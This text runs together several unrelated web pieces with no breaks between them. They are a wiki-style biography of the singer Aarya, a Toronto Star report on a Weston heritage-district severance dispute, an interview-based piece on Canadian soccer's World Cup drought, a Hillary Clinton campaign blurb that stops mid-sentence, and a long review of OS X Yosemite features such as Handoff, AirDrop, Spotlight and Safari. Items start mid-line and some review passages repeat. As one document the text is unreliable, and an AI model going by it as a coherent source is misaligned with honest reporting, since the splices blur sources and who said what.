Aarya sang a wide variety of songs in the competition. She created the record of receiving full marks from the judges many times. Aarya created an unbeatable record when she got वरचा नी (equivalent to 200%), for her beautifully sung "Paan Khae Saiyyan Hamaro", which remains unbroken in all the nine Schedules of SA RE GA MA PA and even after two schedules of SA RE GA MA PA for professional singers. Singer Hariharan was the celebrity judge for that episode.
Aarya was also awarded performer of the week in numerous episodes by eminent singing personalities like Mahalaxmi Iyer, Shreya Ghoshal, Hariharan etc. Aarya sings a wide variety of songs ranging from pure classical songs, Natyageet, Bhavgeet, Bhaktigeet to Marathi Chitrapat Sangeet, Hindi songs, folk songs, Lavanis as well.[4]
She sang "Aye Mere Watan Ke Logo" to pay tribute to those who lost their lives in the 2008 Mumbai attacks on 26 November 2008. She also performed the same song at Shivaji Park, Dadar in a program organised by Mumbai Police to pay tribute to the martyrs who laid down their lives fighting the terrorists in that attack. The song was originally sung by Lata Mangeshkar after the 1962 India-China War.
During the course of the program, Aarya was also awarded the Manik Varma Scholarship. She is the youngest singer to win the scholarship.
Singing Edit
Albums Edit
Marathi films Edit
TV serials Edit
Suvasini – a Marathi daily soap telecast on Star Pravah channel from 14 November 2011.
– a Marathi daily soap telecast on Star Pravah channel from 14 November 2011. Dil Dosti Duniyadari - a Marathi sitcom telecast on Zee Marathi channel from 9 March 2015.[1]
Acting Edit
Public Appearances Edit
A few events where Aarya has performed –Alino Lopes thought the lot he bought in Weston could be a place for him and his daughter to live side by side. Instead, they're finding the aging house they're hoping to tear down and replace with two new ones is becoming the centre of a conflict between those who want to preserve the neighbourhood's eclectic character, and provincial plans that favour intensification.
The lot in Weston that Alino Lopes wants to sever is 16.15 metres wide, or 53 feet. ( Bernard Weil / Toronto Star ) Dave Bennett and Cherri Hurst are part of a group trying to broaden the boundaries of a Weston heritage conservation district, which places additional restrictions on what can be built or demolished within the district boundaries. ( Bernard Weil / Toronto Star )
“I’m not doing anything modern, square. I’m doing the old fashioned style,” Lopes told the Star. “I’ve talked to my neighbours, I’ve explained what I’m doing and the architect says it seems very good.” The lot he wants to sever is 16.15 metres wide, or 53 feet. The application hasn’t yet been considered by the committee of adjustment — the group of residents appointed by city council to assess applications for building projects that diverge from what is allowed in city bylaws. Even so, the proposal has garnered the attention of the Weston Historical Society, the group of residents who have spent more than a decade fighting to make the area a heritage conservation district.
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“The concern is the city really seems to be bent on intensification,” said Cherri Hurst, president of the Weston Historical Society & Conservation District. “I’m trying to find out if that’s going to trump conservation districts.” “The whole idea (of a conservation district) is not to stifle people or anything,” she said, but to make sure that the development happening in the neighbourhood is consistent with Weston’s character. Hurst was one of the original proponents of a Weston conservation district in 2004, an idea that neighbours formed in response to a development proposal on Fern Ave. that Hurst called “destructive.” A small section on the west side of the neighbourhood was declared a heritage conservation district by the city two years later, placing additional restrictions on what can be built or demolished within the district boundaries. Now the group is trying to broaden the boundaries to include what they call “phase two,” an area that includes Lopes’s property on John St.
“We’re asking for developers and people not just to look at the surface of things, to realize that just because a house has a bad roof or looks bad doesn't mean it’s not savable,” Hurst said. There are 24 heritage conservation districts in the city of Toronto, and 37 nominated areas. Of the 37, 11 have been authorized for planning by city council, and 13 are under study.
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Weston’s “phase two” is one of the 17 nominated areas that has been nominated but isn’t under study. The purpose of a district is to “ensure that the significance and character of areas with cultural heritage value are protected and conserved in the long term,” the city’s website says. To do this the districts come up with plans that must be taken into account by the city when development proposals come in. “Heritage conservation districts are often a really good mechanism for addressing development in residential neighbourhoods,” said Michael McClelland, the founding principal of ERA Architects, who specializes in heritage planning. “If they’re done poorly or if the objectives aren’t clear it’s very possible they can be used by the (not-in-my-backyard) community or by the city’s own policy people to discourage development,” McClelland said. The key, he said, is to make sure that a district implements restrictions on development only in furtherance of heritage aims, and leaves room for intensification strategies and community renewal. Hurst believes heritage designation can also be a way to increase property values and improve community safety. Amber Stewart, the lawyer who submitted Lopes’s application to the committee of adjustment, said she wasn’t surprised to learn that some residents had reservations about the proposal. Based on her preliminary examination of surrounding properties, Stewart estimated that the two severed lots at 135 John St., if approved, wouldn’t be the smallest lots in the area. The proposal is in the early stages, she said, and they’re open to feedback on heritage and design issues that may arise. “The first thing we have to keep in mind is there’s an important provincial direction to encourage intensification — even at a smaller scale like this,” Stewart said. Even though discussions about intensification usually centre on highrise developments, Stewart said, small scale proposals like Lopes’s could help accommodate more people without drastically changing the fabric of a neighbourhood. “In my view we need to become more open to accepting these opportunities when they come into neighbourhoods,” she said. Some Weston residents agree. Jacob Berkenblit, a real estate sales representative who’s lived in the neighbourhood since 2014, said development can breed positive growth. “From a real estate perspective, when building is going on in your neighbourhood that’s called renewal,” he said. Councillor Frances Nunziata, who represents Ward 11 where Weston is located, said she plans to hold a community meeting about Lopes’s application. She predicts residents will show up to oppose the application at the committee of adjustment, like they did for a similar application in 2016, also on John St. That application was rejected by the committee, and went to the Ontario Municipal Board, which hasn’t yet released a decision on the application. Nunziata’s own view is that intensification should steer clear of the single family dwelling neighbourhood. “I agree (we need) more development in the area on the main street and that’s what I’m focusing on,” she said. “But not in the Weston village.” Dave Bennett was one of the residents who showed up to the committee of adjustment in 2016. He’s also the past president of the Weston Heritage Conservation District, and a current board member. He is worried that if the city allows one such severance, that’ll open the floodgates for more development to come into the area. “We don’t want that,” he said. “Once you start to bend the law well now you’ve got this wet noodle.” A hearing date for severance application has not yet been set. A city spokesperson said the application is currently under review by staff, and that they will comment on it next week.Watch above: Gord Steinke sits down with FC Edmonton Head Coach Colin Miller on the Early News Thursday, July 10, 2014.
EDMONTON – It was a turning point in Canadian soccer — after years of playing second fiddle to the giants of CONCACAF, Canada earned a spot in the 1986 FIFA World Cup in Mexico.
What should have been the start of a golden generation turned into decades of frustration and disappointment. It has been 28 years and counting since Canada last played on the world’s biggest stage.
The closest they’ve come was back in 1994, when they lost to Australia in a World Cup Qualifying playoff. So why is it that a nation like ours — with a population of over 34 million — has struggled to find success in a sport while smaller nations like Ghana and Switzerland are consistently there.
FC Edmonton Head Coach Colin Miller has a theory.
“The guys in ’94 – the vast majority of our team were playing first team football and that’s how close we came to do that.”
Miller is well versed on the rise and fall of Canada’s soccer program. He represented Canada at the 1986 World Cup, came close in 1994 and has since had two spells as interim coach of the national team.
Miller is a firm believer that a lack of first team soccer is a big reason why Canada is falling behind against the likes of Honduras and Costa Rica. He experienced it firsthand when he coached Canada at the 2013 Gold Cup.
“In some cases, the only first team football those players played last year was with me, with the Canadian National Team.”
He points to a 1-0 loss to Martinique (pop. 400,000) at the 2013 Gold Cup as a prime example.
“People snickered at us losing against Martinique. My understanding is that 90 per cent of those players from Martinique are playing in the French second division. So you put those two things in perspective there and it just gives you an idea of the work that we have.”
It’s a double-edged sword: on one hand, the players get the playing experience needed to help advance the national team. On the other, it showcases their skill on the world stage, which in theory shouldn’t be a bad thing, but it has backfired against Canada on many occasions.
When it comes to soccer, Canada has an identity problem. We live in such a great country where we can be proud of being Canadian and proud of our family heritage. Many people identify themselves as Canadian and Italian, Portuguese, Spanish, Turkish – the list goes on and on. So on a few occasions, some of our best talent has gone overseas, played well and have been snatched up the national teams of their family’s heritage.
From Calgary’s Owen Hargreaves (England) to Scarborough’s Jonathan de Guzman (Netherlands) and Edmonton’s Asmir Begovic (Bosnia and Herzegovina), Canada has lost out on some pretty talented players.
Miller says Canadians need to stop focusing on the past.
“I’ve always said with Hargreaves and de Guzman, as soon as they opt to go to these other countries – and good luck to them, we wish them well – I think that’s the last publicity we should give them. Let’s focus on the guys who are committed to playing for our country.”
Which, to Miller, means focusing on getting them regular playing time against top notch competition.
“Our Canadian players have to get a chance whether it’s in the NASL or the MLS and as soon as we get these guys into first team football, we’ll be in a good place.”
Canada’s next big international competition will be the 2015 Gold Cup. You can listen to Colin Miller’s full interview below:
Follow @GlobalJesusConsider this the answer to Hillary Clinton’s frustrated cri de coeur, “Why aren’t I 50 points ahead?” The Washington Post reports this morning that Team Hillary has a new campaign message this week — meet the real Hillary. Well, it’s not exactly new …
The real Hillary Clinton — the funny, kind, passionate woman her friends and colleagues insist actually exists — has been missing from public view for so long that even some of her most admiring defenders wonder whether she will ever emerge again. On the eve of the first presidential debate, Clinton’s campaign is launching a drive to convince voters that she is, well, human. The move, coming just six weeks before the election, is a frank admission that whether it traces to her embarrassingly public marital traumas, or to the arrows aimed at her during the White House years by conservative activists and news reports, or to a lifetime playing the role of the serious, responsible daughter, sister and wife, Hillary Clinton still struggles to |
Enforcing proximity is a good idea and one in keeping with Handoff's person-centric approach. It prevents private websites you're visiting, emails or messages you're composing, or documents you're working on from accidentally getting pulled over to a machine that's logged into your account, but at another location where it's not within your physical control. For example, if you're working at home, you don't need your stuff popping up on a device at school, or if you're at the coffee shop, you don't need it popping up on your work computer.
Proximity allows for both convenience and privacy, the best of both worlds. Handoff will work Mail, Safari, Pages, Numbers, Keynote, Maps, Messages, Reminders, Calendar, and Contacts. That means you can start composing or reading an email or web site, editing a document, spreadsheet or keynote, finding a location, typing a text, picking a reminder, entering an appointment, or looking up an address on your Mac and continue or finish it on your iPhone or iPad, or vice versa. Apple hasn't yet announced any Handoff functionality for media, for example starting an iTunes playlist on your Mac and continuing it with the iTunes Music app, or starting a game on your iPhone and continuing mid-level on your iPad. Nor have they announced any Handoff features that would let you, for example, push a movie from the Apple TV to the iPad if you wanted to change rooms. (The reverse of AirPlay, which has to start on an iPhone, iPad, or Mac.) It's still early days, however, and every new feature has to start somewhere. Apple has provided application programming interfaces (API) to developers so that third party Mac apps can also take advantage of Handoff. Developers need to specify which discreet actions are available to Handoff — precise activities like composing a tweet or reading an RSS item — and the apps involved all have to be owned by the same developer Team ID. That makes things secure for customers, so we don't have to worry about one app trying to intercept activity from another. Handoff-capable apps also have to be made available through the Mac App Store or signed by a registered developer. Again, that allows for security, and even a degree of flexibility. Handoff doesn't only work between apps but also between websites and apps. For example, if you're reading Facebook.com on Safari on your Mac, and then pick up your iPhone to leave the room — assuming the developers have implemented it — the Facebook app will show up to accept the handoff. Apple has provided APIs so that developers can prove they own their websites and apps, and that they're all related to each other. That secures both endpoints of the transaction. To move to the browser, Handoff sends a URL (universal resource locator) from the originating device to the device where you want to resume your activity. Open the browser, load the URL, and you're right where you left off. To move to a native app, activities specified on the website are sent over to the appropriate location in the associated app. Open the Facebook app, load the page you were looking at, and you're likewise where you left off. Apple also says developers can bi-directionally stream between two open instances of the same app on two different devices. That allows for continuous interaction, including read and write, between the original and current device. For example, so both devices to be used to work on the same activity at the same time. How developers — and Apple — will make use of such streams remains to be seen...
Handoff is based on actions. When an app or browser is launched, brought back to the foreground, or tabs are switched, Handoff identifies the current actions you're doing — composing an email, reading a particular web page, editing a Pages document, etc. — and starts to broadcast that activity. Other devices within proximity identify the activity and call up the appropriate icon for it. On the iPhone or iPad the icon is placed either on the bottom left of the Lock screen or, if the device is unlocked, to the left of the Home screen in the multitasking card interface (the one you get to by double clicking the Home button.) On the Mac the icon is placed either to the left of the Dock or to the right of the application switcher (the one you get by hitting CMD + Tab.) Once the icon is hit, Handoff will request the activity from the originating device. If you're using Documents in the Cloud, only the state needs to be transferred. If you're on the web, only the URL. Otherwise, whatever you're working on will get sent across. Once any necessary data is passed (presumably over direct Wi-Fi connection), you're taken to the app and your activity is resumed right where you left off. There's no convergence of interface or single truth kept on a server. The Mac is the Mac, iOS is iOS. They integrate together so that your activities can go from device to device transparently, seamlessly. For example, if you were composing an email on your iPhone and you walked within range of your Mac, the Mail.app icon would appear in a new segment to the left of your OS X Dock. Click on it and you'd be in OS X Mail, in the compose window, with the same email open and ready for you to finish, right where you left off. If you were working on a Keynote on your Mac and you picked up your iPad, you'd see the Keynote app icon to the bottom left of your Lock screen. Hit it and you'd be taken to the Keynote app on the iPad, the same document open to the same slide you'd just been working on. Handoff promises a fundamentally different approach to computing than Microsoft's "Windows Everywhere" or Google's "everything in the cloud". With Handoff, there's no convergence of interface or single truth kept on a server. Apple is keeping the Mac the Mac, and the iPhone and iPad the iPhone and iPad. They simply all integrate together so that your activities can go from device to device transparently, seamlessly, wherever you go. AirDrop AirDrop started off on OS X Lion back in 2011. It used Bonjour (zero config) and personal area networking (PAN) to discover and transfer files between Macs, and eventually made its way from the Finder to the Share menu and Open/Save dialogs. Where it didn't find its way was on to iOS.
At least not until iOS 7. When AirDrop did come to iOS, however, it came in name only. The protocol itself was significantly different. With no Finder in iOS, AirDrop existed only in the Share sheet. Instead of Bonjour and PAN, it used Bluetooth LE and direct Wi-Fi to transfer data. It was an incredibly secure implementation but it wasn't compatible with the older version on OS X. At least not until iOS 8 and OS X Yosemite. OS X AirDrop, like iOS before it, now uses Bluetooth LE for discovery and direct Wi-Fi for transfer. That's really the best of both worlds, as you get the low-energy savings of BT LE for the connection and the race-to-sleep efficiency of Wi-Fi for the transfer. (Apple hasn't released any security information yet, but if they've maintained the security model it will be similarly terrific.) Between iOS devices nothing changes, of course. Between iPhone or iPad and Mac, when the iOS device is unlocked it'll show up as an AirDrop target in the OS X Finder and the Save option in the menu. OS X devices show up just like iOS devices on the iPhone or iPad. Between Macs it works similar to how it did in the past but you have an optional checkbox to "AirDrop with Older Macs". This means that no matter where you have a piece of data, be it a photo, contact, or anything else shareable at all, you can move it directly between all your Apple devices with just a couple taps or clicks. Instant Hotspot Tethering from an iPhone or iPad cellular to a Mac or iPad Wi-Fi has always been a bit of a pain. Some of that has been carriers and their cockamamie tethering plans. But some of it has always been the process which, at the best of times, required a password to be entered, and at the worst required off/on toggles or reboots to get it working consistently. No longer. Now your Mac or iPad Wi-Fi can instantly connect to your iPhone or iPad cellular and you can be up and using the internet in no time.
Instant Tethering works when you're logged into both your iPhone or iPad + Cellular and your Mac with the same Apple ID. Then, your iPhone or iPad + Cellular will simply appear as an option in your available Wi-Fi network connections list, distinguished with Apple's linked-ring tethering icon. Connection type (e.g. LTE) and battery level will also be displayed on the Mac. So, regardless of whether your iPhone or iPad cellular is sitting right in front of you, or is across the room in a bag, there's no password to enter, no toggles to flip, no devices to reboot. Just tap/click, connect, surf. Again, AirDrop and tethering aren't new features they're new implementations of pre-existing features. They may lack the impact of Handoff or call/SMS/MMS Continuity, but they solve really usability problems for real people. Apple is sometimes accused of spotlighting a feature one year only to forget about it the next. By looping AirDrop and tethering into Continuity Apple not only brings them back into the spotlight but makes them better than ever before. Hopefully this is just the beginning of that trend. Call relay iPhones have cellular radios that connect to the carrier voice networks. That's what lets the take and make calls. Macs can make calls using Voice Over IP (VoIP) software like FaceTime or Skype, but they haven't been able to make traditional phone calls. At least not until Yosemite. Apple has some experience transiting calls between services. For example, you could always switch from a carrier voice call to FaceTime, even mid-call, without missing a beat. The same sort of savvy is now being applied between carrier voice calls and the Mac, but instead of just switching, you're able to answer and initiate calls as well.
So, if your iPhone is across the room and you hear it ring, you don't have to get up and sprint for it. As long as you're logged into the same Apple ID and on the same Wi-Fi network, you can take it right on your Mac. Your Apple ID is used to ensure that your phone calls can only ever be made or taken on your devices. The Wi-Fi network not only allows for the transport, but makes it highly likely your devices are in your possession, or at least in your vicinity, which likewise keeps your calls personal and secure. When your iPhone rings, Continuity can show you the name and number of whose calling on your iPad or Mac. It works just like the call display you're used to (provided you have call display service from your carrier and the identity information is available). Also, just like your iPhone, if the caller is in your contacts you'll see your contact picture for that caller, making them instantly recognizable even at a glance. And just like on your iPhone, you can swipe the incoming call notification on your iPad, or click it on your Mac, to answer. Of course, if you're giving some big fancy keynote or are likewise busy and can't answer, you can choose to ignore the call, or even to respond with an iMessage or SMS message to let the caller know you'll get back to them ASAP. (Presumably, if you ignore the call on your iPad or Mac, it will get sent to voicemail, if available, on your iPhone.) Making calls from your iPad or Mac is just as easy as receiving them. Any time you have a phone number in the built-in Contacts app, Calendar app, or Safari web browser, tapping or clicking on it will give you the option to call. Choose it and your call will be placed using the Wi-Fi connection to your iPhone, and your iPhone's connection to the telephone network. Once a call is connected you'll see a time indicator — useful if you're counting local or long distance minutes — and you'll be told the call is "using your iPhone". Right below that is a sound wave just to add some visual flare. You'll also get additional options, similar to what you get now on the iPhone. You can switch to a FaceTime video call, in which case the traditional telephone call is ended and the FaceTime call seamlessly connected in its place. You can also choose to mute the call so you can speak freely without the person on the other end hearing what you're saying, and end the call when you're done. Apple hasn't shown off relay for conference calls, however, starting off simply and adding functionality over time is a cornerstone of their approach. The point being, this is a beginning, not an ending. SMS relay The original iPhone shipped with an SMS (short messaging service) app. It was an ugly system that had been retrofitted for cross-carrier compatibility and had almost nothing in the way of modern messaging features. But it worked on pretty much all phones pretty much all of the time, even if cellular data — which was limited to EDGE on the first iPhone — was spotty or non-existent. In other words, it was the original cross-platform mobile instant messenger. Apple didn't even offer MMS (multi-media messaging service) at first. The iPhone was an internet communicator and that meant it had real, rich, HTML email, so why even offer MMS? Turns out people wanted to be able to send picture and video messages to their family, friends, and colleagues who weren't using iPhones but did have MMS. So, within a couple years, Apple added MMS. Carriers charged a fortune for SMS/MMS. When iMessage shipped as part of iOS 5 and OS X Lion, Apple sought to solve many of those problems. It offered reply-state notification, similar to BlackBerry's BBM, could handle all sorts of data types, similar to MMS, and used Wi-Fi or cellular data for its transmissions, so it didn't require an extra texting plan. At least not if you were talking to other Apple users. Like the lack of MMS before it, it was that last part that caused friction. Being able to iMessage from an iPad or iPod touch or Mac is fantastic, unless we have a friend, family member, or colleague using what Apple calls a "lesser device" — an Android phone, Windows Phone, BlackBerry, or feature phone. For anyone not on an iPhone, those "green bubbles" simply didn't exist, and the seamless nature of the iMessage experience was broken. That, the seamlessness of the messaging experience, is what Continuity fixes. Like with call relay (see above), to use SMS/MMS relay, you have to be logged into the same Apple ID and on the same Wi-Fi network. That helps insure security and privacy. Receiving SMS and MMS on your Mac is easy. Green bubbles simply appear in the standard Messages app alongside the blue ones, same as they've always done in the iPhone Messages app. To send an SMS or MMS from your Mac, just go to Safari, Calendar, or Contacts, pick a number, and choose to send a message. The conversation will likewise start, or continue, in the same Messages app. Apple's business model means we're probably not going to see iMessage for Android or Windows any time soon, nor will others like WhatsApp or Skype be built-in. All of it will simply be sent from your Mac, to your iPhone, and out over the carrier SMS/MMS system, just like any other text or multi-media message. SMS and MMS might be old technologies but they're still popular technologies. More importantly, with iMessage remaining exclusive to Apple devices, they're the only cross-platform messaging system built-into the iPhone, and one that didn't previously exist on the iPad or Mac. That made for an incomplete experience. Apple's current business model means we're probably not going to see iMessage for Android or Windows or the web any time soon, nor are third-party messengers like WhatsApp or Skype ever going to enjoy built-in status. That again leaves SMS and MMS. And that means, thanks to Yosemite, as long as Mac customers also have an iPhone anywhere in the room or the vicinity, they get the same SMS and MMS access on those devices that they get on the phone itself. That absolutely fits Apple's business model of making the sum worth more than the value of the individual parts.
Spotlight Spotlight is looks different and acts differently in Yosemite. It's no longer a passive search tool that just looks at file names and the content of files, then shunts you off to other apps if you need more help. Spotlight in Yosemite has been utterly reworked to be a very powerful information-finding tool that helps you get the data you need and act on it. So, how does it work?
Center screen Spotlight's greater prominence as a search tool earns it greater prominence on the Yosemite screen. Clicking on the Spotlight icon in the menu bar, or hitting CMD + Space, yields a search bar in the middle of the screen, instead of a pop-down field that hangs from the menu bar in Mavericks. A larger type face makes it easier to enter search terms, and a new search window shows you scrollable previews of your search results. Expanded (and intermediated) search In Mavericks, Spotlight pushes you to your web browser to search the web and Wikipedia. In Yosemite, Spotlight integrates those results directly into its summary window, saving you a step. Wikipedia entries are shown as a summary with a thumbnail image; if you want more details, an embedded link will open the page in your browser when you click on it. Spotlight also links to Apple's Maps data. Entering an address will yield an embedded map with options for directions and other information. Apple also noted integration with Microsoft's Bing search engine, but that functionality appears missing in the first developer preview release that Apple offered at WWDC. Interested in a movie that's now playing in theaters? Type in the name of the movie and you'll see a summary with a movie poster, links to trailers and even links to showtimes near you. You can also ask Spotlight to do calculations and conversions. It's not quite as complete in the WWDC build as the actual Calculator application, but you can enter simple arithmetic or measurement units and Spotlight will yield results on the fly.
Third-party developers have certainly filled in Spotlight's gaps over the years, and when Apple showed off the new features of Spotlight, some users of Running With Crayons' Alfred noticed some similarities right away, such as quick Web searches, map searches and more. In the same token, Objective Development's LaunchBar and Stranded Design's Quicksilver both help Mac users find content quickly and easily with just a few keystrokes. When Apple introduced its third iteration of the Sherlock search tool — Spotlight's distant predecessor — it focused on web search instead of local search, as previous versions had done. Apple was accused of copying the concept wholesale from Karelia Software's Watson, which offered similar functionality. Ever since then, the term "Sherlocking" has existed to describe what happens when Apple incorporates a feature into OS X that had previously been supported by an independent developer. In truth, Apple hasn't "Sherlocked" any of these apps with the new Spotlight. Each of them has features and functionality unique to themselves, and it'll be up to the individual developers to continue to differentiate their products to appeal to customers. Apple has evolved Spotlight from a simple file search tool to something much more robust — a general search tool. It's doing the work of several applications you already depend on, like your web browser, the Maps application and others. But Spotlight isn't replacing them. Instead, it's layering on top of them, providing you with a front-line interface to get at the information you need to get things done.
Mail Apple had to mend fences after Mavericks was released. It was launched with a half-baked e-mail app that caused endless problems for Gmail users, and it took a while to sort. Yosemite e-mail is better, and new features make it easier to use. Back to the fundamentals Apple hasn't apologized for how much of a disaster Mail is in Mavericks, but the message was apparent at the WWDC 2014 keynote.
"...we really focused on the basics," said Apple SVP of software engineering Craig Federighi at the WWDC keynote. "Reliable syncing, fast switching between mailboxes, quick fetches of your new mail, the basics." In other words, everything that Mavericks Mail managed to screw up. Thank goodness. I'll reserve final judgment for later, but I will say that Yosemite Mail is snappier than before and less prone to many of the problems I'm accustomed to in Mavericks, so on balance I'd say it's a welcome change. Like other Apple applications in Yosemite, Mail has gotten a facelift to conform to the Yosemite look and feel. Typography is clearer, with translucency added to the Mailboxes sidebar. There aren't any major changes to Mail's layout in this new release, just some enhancements here and there for clarity and simplicity. You'll now see a round profile image appear to the right of the sender's e-mail address. If no profile image is available, Mail displays their initials instead.
Markup Mail has always made it easy to attach documents, but Apple's taking it one step further by introducing a new feature in Yosemite called Markup. Markup makes it possible to do exactly that — mark up the files you attach in mail.
What's more, Markup sports a magnifying loupe, so you can draw attention to a specific portion of the attached document by zooming in. You can also draw shapes like arrows, and circles, which Markup will automatically try to straighten and neaten up. You also have the ability to draw shapes and add text annotations, and fill out PDF file attachments, complete with signature. Markup isn't doing anything that you can't do already with apps like Napkin or Skitch, which may leave some concerned that Apple is once again pushing out third party developers with this new feature. But Napkin and Skitch are standalone apps that enable you to mark up images. Markup is embedded as a feature of Mail, which limits its overall utility as a markup tool. Mail Drop
One of the biggest pain points with mail use is attaching files. Internet service providers and e-mail providers often put restrictions on the maximum size of file attachments to keep their servers from getting clogged up with pictures of people's kids and videos of graduation processions. Apple's created Mail Drop in Yosemite to help fix that problem. Mail Drop shunts off the collection and retrieval of file attachments to iCloud, making it possible to attach much larger files than you ever could before — up to 5 GB at a whack. As far as other Apple Mail users are concerned, it's business as usual: Apple's made the process transparent, so you'll still see the file enclosure attached just like you always have. But if you're using a different Mail client, or if you're on a PC or another computer, you'll see the attachment as a text link. Clicking on it will then retrieve the file.
Safari While there are a number of web browsers available for OS X, only one is included: Safari. That makes Safari an incredibly important application for Apple, because it's one of the first things Mac users will use, and for many of us, it's the only web browser we use. So Safari is getting some big improvements in OS X Yosemite, both to usability and to performance. Streamlined toolbar and "smart search field" The first thing you'll notice in Safari is a new, streamlined smart search field that's been integrated directly into the title bar. That provides more room below for actual web content. That design has found its way into other Apple applications in Yosemite, like Calendar and Maps. The menu bar contains previous page and next page buttons, a button to activate the Sidebar, a Share button, Show all tabs button, and Show downloads button. Safari now follows its mobile version's convention in iOS of masking the URL: Only the root URL of the web page is displayed, rather than the complete thing. For example, looking at this page in Safari on Yosemite will only show you "imore.com" in the search field, until you click in the field, then the full URL is revealed.
What makes it a "smart search field" is Safari's integration with Spotlight. Now as you type in a search term, Safari drops down hits in Spotlight including links to Wikipedia, to make it easier to find what you're looking for. Another behavior inherited from Mobile Safari - Clicking in the search field reveals a dropdown menu containing thumbnails of favorite web pages, along with frequently visited sites. As a result, the Favorites bar is gone by default, though you can resurrect it with a keystroke. In Mavericks, Safari had an "iCloud Tabs" button that showed you tabs shared between your Mac and iOS devices. Now iCloud tabs are visible in that dropdown menu as well. Tabbed browsing has been greatly improved in Safari, too. You can have an unlimited number of tabs open, and navigating through them is as easy as just clicking back and forth.
What's more, there's a new Tabs button on the menu that enables you to view all open tabs at a glance. Clicking on the button yields a new window that pops up thumbnails of all of your open tabs a la Mission Control; simply click the tab you want to make that page active. Sharing content from Safari is easier in Yosemite than it was before. The Share button has been revamped to include new functionality. Right off the bat, AirDrop is supported (and just a reminder, AirDrop actually works between Yosemite and iOS 8 now). But Apple's paved the way for further enhancements that won't require Safari to be reworked. A new "Recent Recipients" list at the bottom of the Share menu shows people who you've recently emailed or messaged, so you can more quickly share content with them. A new "More..." menu option brings you to the Extensions system preference. Extensions in Yosemite enable third-party developers to add new features and functionality to the operating system. Extensions has a dedicated entry for the Share menu, so as social media sites and other services provide sharing extensions, you'll be able to add them to simplify the process of sharing your content with others. There are some times when you may not be comfortable generating a web page history or letting cookies get installed, such as when you're doing online banking or looking at personal content you'd rather not see tracked (yeah, and porn too). That's where Private Browsing comes in handy. Safari pioneered the concept of Private Browsing — when it's enabled, no data is recorded about that session. Cookies aren't stored, web pages aren't added to the history list, names of downloads are removed from the Downloads window, Autofill information isn't saved and searches are not added to the search field's pop-up menu. But Private Browsing in Safari has, up to now, been inconvenient for one reason: it's either all on or all off. You can't set up one window with Private Browsing while still using other windows normally. Set up Private Browsing in one window and open another to visit Facebook and see what happens: You'll have to sign in again, because Safari isn't remembering your user ID and password.
In Yosemite Safari that all changes. New Private Window is how private sessions are handled now. What happens in the new private window stays in the new private window, but you can have other sessions open normally with no ill effects. A long overdue improvement. What's more, that private window can support its own series of tabs, all of which stay private too. If privacy is important to you, you should also be aware that Safari in Yosemite adds support for DuckDuckGo, a popular new search engine that doesn't track your search queries. Just go to Search under Preferences to set Safari to use DuckDuckGo as the default search tool. As I said at the outset, Safari is an incredibly important app for Apple, because it's the web browser most Mac users depend on, and it's a showcase app. So Apple's really dug into the guts of it to eke out the best performance possible. To that end, they've made a number of improvements to performance that yield even snappier results than you have now. Apple's dug into the guts of Safari to eke out the best performance possible Yosemite Safari sports support for WebGL, a JavaScript-based technology used to render 2D and 3D graphics on web pages that works without needing a plug-in. SPDY, an open networking protocol, is also supported: It reduces web page load times by prioritizing the transfer of web page resources. Back in April Netflix made noise about moving away from Silverlight, the (deprecated) Microsoft streaming video plug-in they now use, in favor of HTML5. They've developed "HTML5 Premium Video Extensions" accordingly: A suite of technology using JavaScript and other technologies to manage video streaming, Digital Rights Management (DRM) and cryptography to protect video streams. The net result of using this, rather than Silverlight, is twofold: You're less dependent on a Microsoft plug-in technology, and streaming Netflix on your Yosemite-equipped Mac is more efficient than before: Apple estimates up to two hours of more battery life on a MacBook Air, watching a 1080p HD movie from Netflix. That's a big improvement. Apple's also improved multi-tab browsing energy efficiency in Safari, with dramatically improved performance in JavaScript — up to 6.5 times faster than Chrome, according to Apple, with twice the performance for most web apps, too. Safari demonstrates a core philosophy Apple's employing across Yosemite: To reduce pain points or user interface awkwardness for people whose primary experience using Apple products has been iOS. Changes like the drop-down Favorites menu will be immediately familiar to iOS users. The new functionality is also welcome. Private browsing in Safari is way more convenient than it was before, and the Share menu's link into Extensions promises a lot more social networking integration than was ever possible. The improved performance and efficiency, especially for video content, will be welcome for anyone running Yosemite from a laptop.
iTunes 12 Along with OS X Yosemite is a new version of iTunes: iTunes 12 is included with the package. iTunes 12 reworks not just the way you listen to music but also the way you interact on the App Store, so it's kind of a big deal. Let's get something out of the way right off the bat: iTunes is still the bloated, convoluted monster that many of us know and loathe. (I complained about iTunes more than a year ago and haven't changed my opinion.) It still does too much for one application, managing your apps, your devices, all your media and various and sundry other things.
The first change you notice is the iTunes icon itself: iTunes goes red with version 12, with a new icon that reflects Yosemite's flatter aesthetic. iTunes 12's entire interface moves in a direction consistent with Yosemite — Apple's integrated a new flatter interface for the app, with revised typography that makes it fit in better with the Yosemite motif. Three dimensional embellishments are gone. There's no rotating carousel of 3D cards that pop into view with featured content. iTunes 12 and the iTune Store are flatter and cleaner. The sidebar showing your library, iTunes store, shared libraries and more is gone. In its place is a small row of icons underneath the play controls that serve the same function. (You can customize what features are available via a single click on the navigation bar.) This frees up more space in iTunes' main window to actually show you the content you're listening to, watching and downloading. As before, the navigation bar changes contextually depending on what content you're viewing; you'll see "My Music," "Playlist," "Match," "Radio" and "iTunes Store" options when viewing music, but if you switch to movies, it'll show you "My Movies," "Unwatched," "Playlist" and "iTunes Store" instead. If you spend a lot of time in the Apps or iTunes Stores, you'll notice a number of changes subtle and not-so-subtle. Three dimensional embellishments are gone, with the flatter, cleaner interface of iOS 7 and 8 and Yosemite grabbing hold here. There's no rotating carousel of 3D cards that pop into view with featured content at the top of the page, anymore — instead there's a flat banner with ostensibly the same content. Yosemite's cleaner typography is used throughout.
It's an experience that's more consistent with the iTunes Store on iOS devices, for better or worse, though the layout and interface is still thoroughly optimized for the computer. One notable omission is iBooks. iTunes 11 gave you an easy way to access the iBook Store, but that's been pulled from the iTunes 12 all together. From here on out, if you want iBooks, you'll need to open the iBooks app and access the store from there. Most of iTunes 12's changes are subtle, but they're enough to keep the app consistent with the rest of the theme presented in Yosemite. Given how loudly some iTunes users complained when Apple presented interface changes in iTunes 11, I won't be surprised if iTunes 12 elicits more complaints, but on balance the usability changes are pretty mild this time around — let's hope they're better received than last time.
Messages OS X Yosemite makes key improvements to Messages to help enhance productivity and make it easier to communicate. Among the improvements in this update are soundbites, compact audio files you can record with the click of a button and include in your iMessage; SMS/MMS support through the iPhone; and group messaging. Let's take a look at the new features. Soundbites Sometimes it's just easier to tell someone something than it is to write it down. To that end Soundbites can help; this new addition of Yosemite lets you add quick audio clips to your messages.
